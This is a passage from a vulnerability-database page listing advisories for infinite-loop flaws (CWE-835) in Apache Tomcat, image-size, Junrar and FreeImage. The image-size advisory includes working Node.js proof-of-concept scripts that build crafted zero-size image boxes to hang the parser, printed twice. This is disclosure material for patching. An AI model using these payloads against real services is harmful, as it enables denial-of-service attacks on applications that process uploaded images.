Common Weakness Enumeration
CWE-835
AllowedLoop with Unreachable Exit Condition ('Infinite Loop')
Abstraction: Base · Status: Incomplete
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
1057 vulnerabilities reference this CWE, most recent first.
GHSA-M59C-JPC8-M2X4
Vulnerability from github – Published: 2018-10-17 16:32 – Updated: 2024-02-23 17:57
VLAI
Summary
In Apache Tomcat there is an improper handing of overflow in the UTF-8 decoder
Details
An improper handing of overflow in the UTF-8 decoder with supplementary characters can lead to an infinite loop in the decoder causing a Denial of Service. Versions Affected: Apache Tomcat 9.0.0.M9 to 9.0.7, 8.5.0 to 8.5.30, 8.0.0.RC1 to 8.0.51, and 7.0.28 to 7.0.86.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0.M9"
},
{
"fixed": "9.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.0"
},
{
"fixed": "8.5.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0RC1"
},
{
"fixed": "8.0.51"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.28"
},
{
"fixed": "7.0.87"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1336"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:44:57Z",
"nvd_published_at": "2018-08-02T14:29:00Z",
"severity": "HIGH"
},
"details": "An improper handing of overflow in the UTF-8 decoder with supplementary characters can lead to an infinite loop in the decoder causing a Denial of Service. Versions Affected: Apache Tomcat 9.0.0.M9 to 9.0.7, 8.5.0 to 8.5.30, 8.0.0.RC1 to 8.0.51, and 7.0.28 to 7.0.86.",
"id": "GHSA-m59c-jpc8-m2x4",
"modified": "2024-02-23T17:57:09Z",
"published": "2018-10-17T16:32:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1336"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat80/commit/9e9b7fe1b5732277a26e437f1d32155de6208ef2"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/e00812b94e5830b2be3de04f4ae4ade38a700074"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/92cd494555598e99dd691712e8ee426a2f9c2e93"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/156d76a6afeef440d14044a560d6ad1d029361c4"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r6ccee4e849bc77df0840c7f853f6bd09d426f6741247da2b7429d5d9@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r6ccee4e849bc77df0840c7f853f6bd09d426f6741247da2b7429d5d9%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r48c1444845fe15a823e1374674bfc297d5008a5453788099ea14caf0@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r48c1444845fe15a823e1374674bfc297d5008a5453788099ea14caf0%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3bbb800a816d0a51eccc5a228c58736960a9fffafa581a225834d97d@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3bbb800a816d0a51eccc5a228c58736960a9fffafa581a225834d97d%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/eb6efa8d59c45a7a9eff94c4b925467d3b3fec8ba7697f3daa314b04@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/eb6efa8d59c45a7a9eff94c4b925467d3b3fec8ba7697f3daa314b04%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/e85e83e9954f169bbb77b44baae5a33d8de878df557bb32b7f793661@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/e85e83e9954f169bbb77b44baae5a33d8de878df557bb32b7f793661%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b5e3f51d28cd5d9b1809f56594f2cf63dcd6a90429e16ea9f83bbedc@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b5e3f51d28cd5d9b1809f56594f2cf63dcd6a90429e16ea9f83bbedc%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/88855876c33f2f9c532ffb75bfee570ccf0b17ffa77493745af9a17a@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/88855876c33f2f9c532ffb75bfee570ccf0b17ffa77493745af9a17a%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/raba0fabaf4d56d4325ab2aca8814f0b30a237ab83d8106b115ee279a%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/raba0fabaf4d56d4325ab2aca8814f0b30a237ab83d8106b115ee279a@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00001.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20180817-0001"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K73008537?utm_source=f5support\u0026amp%3Butm_medium=RSS"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K73008537?utm_source=f5support\u0026amp;utm_medium=RSS"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3723-1"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20190703075545/http://www.securitytracker.com/id/1041375"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227102810/http://www.securityfocus.com/bid/104898"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4281"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHEA-2018:2188"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHEA-2018:2189"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2700"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2701"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2740"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2741"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2742"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2743"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2921"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2930"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2939"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2945"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:3768"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/1dd0a59c1295cc08ce4c9e7edae5ad2268acc9ba55adcefa0532e5ba%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/1dd0a59c1295cc08ce4c9e7edae5ad2268acc9ba55adcefa0532e5ba@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/388a323769f1dff84c9ec905455aa73fbcb20338e3c7eb131457f708%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/388a323769f1dff84c9ec905455aa73fbcb20338e3c7eb131457f708@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/3d19773b4cf0377db62d1e9328bf9160bf1819f04f988315086931d7%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/3d19773b4cf0377db62d1e9328bf9160bf1819f04f988315086931d7@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/5c0e00fd31efc11e147bf99d0f03c00a734447d3b131ab0818644cdb%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/5c0e00fd31efc11e147bf99d0f03c00a734447d3b131ab0818644cdb@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6af47120905aa7d8fe12f42e8ff2284fb338ba141d3b77b8c7cb61b3%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6af47120905aa7d8fe12f42e8ff2284fb338ba141d3b77b8c7cb61b3@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/845312a10aabbe2c499fca94003881d2c79fc993d85f34c1f5c77424%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/845312a10aabbe2c499fca94003881d2c79fc993d85f34c1f5c77424@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "http://mail-archives.us.apache.org/mod_mbox/www-announce/201807.mbox/%3C20180722090435.GA60759%40minotaur.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "In Apache Tomcat there is an improper handing of overflow in the UTF-8 decoder "
}
GHSA-M5QC-5HW7-8VG7
Vulnerability from github – Published: 2025-04-02 15:04 – Updated: 2026-06-10 17:13
VLAI
Summary
image-size Denial of Service via Infinite Loop during Image Processing
Details
Summary
image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.
The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.
Details
If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:
// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
const byte = input[0]
if (byte in firstBytes) {
const type = firstBytes[byte]
if (type && typeHandlers[type].validate(input)) {
return type
}
}
const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
return keys.find(finder)
}
Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.
JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
validate: (input: Uint8Array): boolean => {
const boxType = toUTF8String(input, 4, 8)
if (boxType !== 'JXL ') return false //<---
const ftypBox = findBox(input, 'ftyp', 0) //<---
if (!ftypBox) return false
const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
return brand === 'jxl '
},
findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
input[offset] * 2 ** 24 + // 0 +
input[offset + 1] * 2 ** 16 + // 0 +
input[offset + 2] * 2 ** 8 + // 0 +
input[offset + 3] // 0
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) { // offset: 0
if (input.length - offset < 4) return
const boxSize = readUInt32BE(input, offset) // 0
if (input.length - offset < boxSize) return // (8 - 0) < 0 => false
return {
name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL '
offset, // 0
size: boxSize, // 0
}
}
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
while (offset < input.length) { // 0 < 8 => false
const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 }
if (!box) break // false
if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false
offset += box.size // offset += 0
}
}
A similar issue occurs for HEIF and JP2 handlers:
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts
PoC
Usage:
node main.js poc1|poc2
- poc for
image-size@2.0.1
// mkdir 2.0.1
// cd 2.0.1/
// npm i image-size@2.0.1
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "
// ]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
(async () => {
await imageSizeFromFile(FILENAME)
console.log('Done') // never executed
})();
}
function poc2() {
imageSize(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
- poc for
image-size@1.2.0
// mkdir 1.2.0
// cd 1.2.0/
// npm i image-size@1.2.0
const sizeOf = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "
// ]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
sizeOf(FILENAME)
console.log('Done') // never executed
}
function poc2() {
sizeOf(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
- poc for
image-size@1.1.1
// mkdir 1.1.1
// cd 1.1.1/
// npm i image-size@1.1.1
const sizeOf = require("image-size");
const fs = require('fs');
// HEIF
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x66, 0x74, 0x79, 0x70, // "ftyp"
0x61, 0x76, 0x69, 0x66 // "avif"
]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
sizeOf(FILENAME)
console.log('Done') // never executed
}
function poc2() {
sizeOf(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
Impact
Denial of Service
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "image-size"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "image-size"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-71319"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-02T15:04:58Z",
"nvd_published_at": "2026-06-09T21:17:03Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images.\n\nThe issue occurs because of an infine loop in `findBox` when processing certain images with a box with size `0`.\n\n\n### Details\n\nIf the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers:\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31\nexport function detector(input: Uint8Array): imageType | undefined {\n const byte = input[0]\n if (byte in firstBytes) {\n const type = firstBytes[byte]\n if (type \u0026\u0026 typeHandlers[type].validate(input)) {\n return type\n }\n }\n\n const finder = (key: imageType) =\u003e typeHandlers[key].validate(input) //\u003c--\n return keys.find(finder)\n}\n```\n\nSome handlers that call `findBox` to validate or calculate the image size are `jxl`, `heif` and `jp2`.\n\n`JXL` handler calls `findBox` inside `validate`. To reach the `findBox` call, the value at position `4:8` should be `\u0027JXL \u0027`\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60\nexport const JXL: IImage = {\n validate: (input: Uint8Array): boolean =\u003e {\n const boxType = toUTF8String(input, 4, 8)\n if (boxType !== \u0027JXL \u0027) return false //\u003c---\n\n const ftypBox = findBox(input, \u0027ftyp\u0027, 0) //\u003c---\n if (!ftypBox) return false\n\n const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)\n return brand === \u0027jxl \u0027\n },\n```\n\n`findBox` can lead to an infinite loop because the value of `box.size` is `0`, thus the `offset` variable is not updated. Below relevant code with comments (using one of the `PAYLOAD` below as example):\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37\nexport const readUInt32BE = (input: Uint8Array, offset = 0) =\u003e\n input[offset] * 2 ** 24 + // 0 +\n input[offset + 1] * 2 ** 16 + // 0 +\n input[offset + 2] * 2 ** 8 + // 0 +\n input[offset + 3] // 0\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75\nfunction readBox(input: Uint8Array, offset: number) { // offset: 0\n if (input.length - offset \u003c 4) return\n const boxSize = readUInt32BE(input, offset) // 0\n if (input.length - offset \u003c boxSize) return // (8 - 0) \u003c 0 =\u003e false\n return {\n name: toUTF8String(input, 4 + offset, 8 + offset), // \u0027JXL \u0027\n offset, // 0\n size: boxSize, // 0\n }\n}\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84\nexport function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: \u0027ftyp\u0027, offset: 0\n while (offset \u003c input.length) { // 0 \u003c 8 =\u003e false\n const box = readBox(input, offset) // { name: \u0027JXL \u0027, offset: 0, size: 0 }\n if (!box) break // false\n if (box.name === boxName) return box // \u0027JXL \u0027 === \u0027ftyp\u0027 =\u003e false\n offset += box.size // offset += 0\n }\n}\n\n```\n\nA similar issue occurs for `HEIF` and `JP2` handlers:\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts\n\n\n### PoC\n\nUsage:\n```bash\nnode main.js poc1|poc2\n```\n\n- poc for `image-size@2.0.1`\n```js\n// mkdir 2.0.1\n// cd 2.0.1/\n// npm i image-size@2.0.1\nconst {imageSizeFromFile} = require(\"image-size/fromFile\");\nconst {imageSize} = require(\"image-size\");\n\nconst fs = require(\u0027fs\u0027);\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() { \n (async () =\u003e {\n await imageSizeFromFile(FILENAME)\n console.log(\u0027Done\u0027) // never executed\n })();\n}\n\nfunction poc2() {\n imageSize(PAYLOAD)\n console.log(\u0027Done\u0027) // never executed\n}\n\nconst pocs = new Map();\npocs.set(\u0027poc1\u0027, poc1); // node main.js poc1\npocs.set(\u0027poc2\u0027, poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.2.0`\n```js\n// mkdir 1.2.0\n// cd 1.2.0/\n// npm i image-size@1.2.0\nconst sizeOf = require(\"image-size\");\nconst fs = require(\u0027fs\u0027);\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log(\u0027Done\u0027) // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log(\u0027Done\u0027) // never executed\n}\n\nconst pocs = new Map();\npocs.set(\u0027poc1\u0027, poc1); // node main.js poc1\npocs.set(\u0027poc2\u0027, poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.1.1`\n```js\n// mkdir 1.1.1\n// cd 1.1.1/\n// npm i image-size@1.1.1\nconst sizeOf = require(\"image-size\");\nconst fs = require(\u0027fs\u0027);\n\n// HEIF\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n 0x61, 0x76, 0x69, 0x66 // \"avif\"\n]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log(\u0027Done\u0027) // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log(\u0027Done\u0027) // never executed\n}\n\nconst pocs = new Map();\npocs.set(\u0027poc1\u0027, poc1); // node main.js poc1\npocs.set(\u0027poc2\u0027, poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n\n### Impact\n\nDenial of Service",
"id": "GHSA-m5qc-5hw7-8vg7",
"modified": "2026-06-10T17:13:36Z",
"published": "2025-04-02T15:04:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/image-size/image-size/security/advisories/GHSA-m5qc-5hw7-8vg7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71319"
},
{
"type": "WEB",
"url": "https://github.com/image-size/image-size/commit/8994131c7c3ee8da1699e04700c95e0e683a0c68"
},
{
"type": "PACKAGE",
"url": "https://github.com/image-size/image-size"
},
{
"type": "WEB",
"url": "https://joshua.hu/image-size-infinite-loop-dos-vulnerabilities"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20260224152152/https://github.com/image-size/image-size/pull/439"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/image-size-denial-of-service-via-infinite-loop-in-jxl-heif-parser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "image-size Denial of Service via Infinite Loop during Image Processing"
}
GHSA-M6CJ-93V6-CVR5
Vulnerability from github – Published: 2022-02-01 00:47 – Updated: 2022-08-11 17:02
VLAI
Summary
Junrar vulnerable to infinite loop via extracting carefully crafted RAR archive
Details
Impact
A carefully crafted RAR archive can trigger an infinite loop while extracting said archive. The impact depends solely on how the application uses the library, and whether files can be provided by malignant users.
Patches
The problem is partially patched in 7.4.1
Workarounds
None
References
https://github.com/junrar/junrar/issues/73
https://github.com/junrar/junrar/issues/81
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.github.junrar:junrar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-23596"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-31T21:24:36Z",
"nvd_published_at": "2022-02-01T12:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nA carefully crafted RAR archive can trigger an infinite loop while extracting said archive. The impact depends solely on how the application uses the library, and whether files can be provided by malignant users. \n\n### Patches\nThe problem is partially patched in 7.4.1\n\n### Workarounds\nNone\n\n### References\n\nhttps://github.com/junrar/junrar/issues/73\n\nhttps://github.com/junrar/junrar/issues/81\n",
"id": "GHSA-m6cj-93v6-cvr5",
"modified": "2022-08-11T17:02:55Z",
"published": "2022-02-01T00:47:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/junrar/junrar/security/advisories/GHSA-m6cj-93v6-cvr5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23596"
},
{
"type": "WEB",
"url": "https://github.com/junrar/junrar/issues/73"
},
{
"type": "WEB",
"url": "https://github.com/junrar/junrar/commit/7b16b3d90b91445fd6af0adfed22c07413d4fab7"
},
{
"type": "PACKAGE",
"url": "https://github.com/junrar/junrar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Junrar vulnerable to infinite loop via extracting carefully crafted RAR archive"
}
GHSA-M6JF-GGM4-P6CH
Vulnerability from github – Published: 2024-01-10 00:30 – Updated: 2025-11-04 21:30
VLAI
Details
An issue discovered in BitmapAccess.cpp::FreeImage_AllocateBitmap in FreeImage 3.18.0 leads to an infinite loop and allows attackers to cause a denial of service.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-47997"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-10T00:15:45Z",
"severity": "MODERATE"
},
"details": "An issue discovered in BitmapAccess.cpp::FreeImage_AllocateBitmap in FreeImage 3.18.0 leads to an infinite loop and allows attackers to cause a denial of service.",
"id": "GHSA-m6jf-ggm4-p6ch",
